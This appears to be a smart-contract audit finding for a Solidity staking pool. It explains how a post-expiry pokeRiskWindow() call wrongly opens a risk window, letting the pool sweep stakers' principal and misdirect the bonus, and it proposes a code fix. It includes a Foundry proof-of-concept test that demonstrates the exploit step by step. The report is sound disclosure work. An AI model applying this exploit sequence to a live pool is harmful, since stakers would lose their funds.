FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Post-expiry pokeRiskWindow() seals riskWindowStart from an out-of-term observation, letting the auto-CORRUPTED backstop sweep never-at-risk stakers' principal and misdirect the bonus

Author Revealed upon completion

A purely post-expiry risk observation is treated as in-term risk, re-enabling the auto-CORRUPTED principal sweep and the bonus payout for a pool that survived its whole coverage term risk-free

Description

  • Normally, a pool that reaches expiry while its agreement was never attackable (riskWindowStart == 0) resolves EXPIRED: stakers recover their principal and the unearned bonus sweeps to recoveryAddress. docs/DESIGN.md §5 states the auto-CORRUPTED backstop "by definition cannot apply when no risk window was observed," and §6 states "a poke does not 'manufacture' it."

  • riskWindowStart != 0 is the contract's proxy for "risk materialized during the coverage term," gating both the auto-CORRUPTED principal sweep and the bonus payout. But _markRiskWindowStart caps the seal timestamp at expiry, so the permissionless pokeRiskWindow() seals a nonzero riskWindowStart = expiry even when the agreement is first observed active-risk after expiry. Stakers in such a pool bore no risk and could have withdraw()n freely the whole term, yet one post-expiry poke flips resolution against them.

function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
@> if (t > expiry) t = expiry; // a post-expiry observation still seals a NONZERO riskWindowStart (= expiry)
riskWindowStart = uint32(t);
...
}
// claimExpired(): the auto-CORRUPTED backstop, gated on the mis-sealed flag
@> if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) revert AgreementCorruptedAwaitingModerator(); // freeze
outcome = PoolStates.Outcome.CORRUPTED; // sweeps full pool (incl. principal) to recoveryAddress
...
}
// _bonusShare(): the same seal trips the "no observed risk -> 0" gate (bonus-misdirection impact)
@> if (riskWindowStart == 0) return 0;

Risk

Likelihood:

  • Reached when a pool is created early and its agreement stays in a pre-attack state (NEW_DEPLOYMENT / ATTACK_REQUESTED) for the full >=30-day term, then becomes attackable only after expiry, and any address (even an innocent or automated one) calls the permissionless pokeRiskWindow() before a participant resolves the pool at expiry.

  • The principal-loss endpoint is additionally reached when the agreement then reaches CORRUPTED post-term and the moderator does not intervene through the 180-day grace; the resolution-freeze and bonus-misdirection endpoints are reached with no moderator absence at all.

Impact:

  • All staker principal (plus bonus) is swept to recoveryAddress via the auto-CORRUPTED backstop, for stakers who survived their entire coverage term risk-free and would otherwise recover principal via EXPIRED.

  • Until the grace elapses (or the moderator flags), all pool funds are frozen: withdraw is disabled and claimExpired reverts AgreementCorruptedAwaitingModerator, a multi-month DoS that does not exist without the poke.

  • Under SURVIVED/EXPIRED, the entire bonus pool is redirected from recoveryAddress (the sponsor) to stakers who bore no risk.

Proof of Concept

Drop into test/audit/ and run forge test --match-contract PostExpiryPokePoC -vv. Both tests pass against the unmodified contract; the only difference between the safe baseline and the exploit is a single post-expiry pokeRiskWindow().

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
contract PostExpiryPokePoC is BaseConfidencePoolTest {
uint256 constant STAKE_A = 100 ether;
uint256 constant STAKE_B = 300 ether;
uint256 constant BONUS = 50 ether;
// Baseline: pool never attackable during its term; corrupts AFTER expiry; NO poke.
// riskWindowStart stays 0 -> auto-CORRUPTED cannot fire -> EXPIRED -> stakers recover principal.
function test_baseline_noPoke_resolvesEXPIRED_principalReturned() public {
_stake(alice, STAKE_A);
_stake(bob, STAKE_B);
_contributeBonus(carol, BONUS);
assertEq(uint256(pool.riskWindowStart()), 0);
vm.warp(pool.expiry() + 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED); // post-term breach
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE() + 1);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
vm.prank(alice); pool.claimExpired();
vm.prank(bob); pool.claimExpired();
assertEq(token.balanceOf(alice), STAKE_A); // principal returned
assertEq(token.balanceOf(bob), STAKE_B);
}
// Exploit: identical pool/term, plus ONE permissionless post-expiry poke.
// riskWindowStart = expiry -> auto-CORRUPTED fires -> full pool swept to recovery -> stakers lose everything.
function test_exploit_postExpiryPoke_sweepsPrincipalToRecovery() public {
_stake(alice, STAKE_A);
_stake(bob, STAKE_B);
_contributeBonus(carol, BONUS);
assertEq(uint256(pool.riskWindowStart()), 0);
vm.warp(pool.expiry() + 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK); // transiently attackable post-term
pool.pokeRiskWindow(); // <-- the single exploit action
assertEq(uint256(pool.riskWindowStart()), pool.expiry());
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE() + 1);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED));
uint256 recoveryBefore = token.balanceOf(recovery);
pool.claimCorrupted();
assertEq(token.balanceOf(recovery) - recoveryBefore, STAKE_A + STAKE_B + BONUS); // whole pool swept
assertEq(token.balanceOf(alice), 0); // never-at-risk stakers lost principal
assertEq(token.balanceOf(bob), 0);
}
}

Recommended Mitigation

A risk window first observed after the coverage term is out of scope for this pool. Do not open an in-term risk window from a purely post-expiry observation:

function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
- if (t > expiry) t = expiry;
+ // A risk window first observed after expiry is outside this pool's coverage term; do not open
+ // one from a purely post-expiry observation (it must not enable auto-CORRUPTED / bonus payout).
+ if (t > expiry) return;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}

Alternatively, record a dedicated observedDuringTerm boolean at seal time (set only when block.timestamp <= expiry) and gate both _bonusShare and claimExpired's auto-CORRUPTED branch on that flag instead of on riskWindowStart != 0.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!